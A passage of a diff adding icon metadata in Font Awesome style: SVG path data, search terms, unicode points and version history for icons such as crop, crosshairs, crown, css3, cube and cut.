1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z" + } + }, + "free": [ + "brands" + ] + }, + "crop": { + "changes": [ + "3.1", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "frame", + "mask", + "resize", + "shrink" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f125", + "label": "crop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635437, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "crop-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "frame", + "mask", + "resize", + "shrink" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f565", + "label": "Alternate Crop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635436, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z" + } + }, + "free": [ + "solid" + ] + }, + "cross": { + "changes": [ + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "catholicism", + "christianity", + "church", + "jesus" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f654", + "label": "Cross", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635437, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "crosshairs": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "aim", + "bullseye", + "gpd", + "picker", + "position" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f05b", + "label": "Crosshairs", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635437, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "crow": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "bird", + "bullfrog", + "fauna", + "halloween", + "holiday", + "toad" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f520", + "label": "Crow", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635438, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "crown": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "award", + "favorite", + "king", + "queen", + "royal", + "tiara" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f521", + "label": "Crown", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635438, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "crutch": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cane", + "injury", + "mobility", + "wheelchair" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7f7", + "label": "Crutch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635438, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z" + } + }, + "free": [ + "solid" + ] + }, + "css3": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "code" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f13c", + "label": "CSS 3 Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860978, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z" + } + }, + "free": [ + "brands" + ] + }, + "css3-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f38b", + "label": "Alternate CSS3 Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860978, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z" + } + }, + "free": [ + "brands" + ] + }, + "cube": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "3d", + "block", + "dice", + "package", + "square", + "tesseract" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1b2", + "label": "Cube", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635439, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z" + } + }, + "free": [ + "solid" + ] + }, + "cubes": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "3d", + "block", + "dice", + "package", + "pyramid", + "square", + "stack", + "tesseract" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1b3", + "label": "Cubes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635439, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z" + } + }, + "free": [ + "solid" + ] + }, + "cut": { + "changes": [ + "2", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clip", + "scissors", + "snip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c4", + "label": "Cut", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635440, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "cuttlefish": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f38c", + "label": "Cuttlefish", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860978, + "raw": "<svg 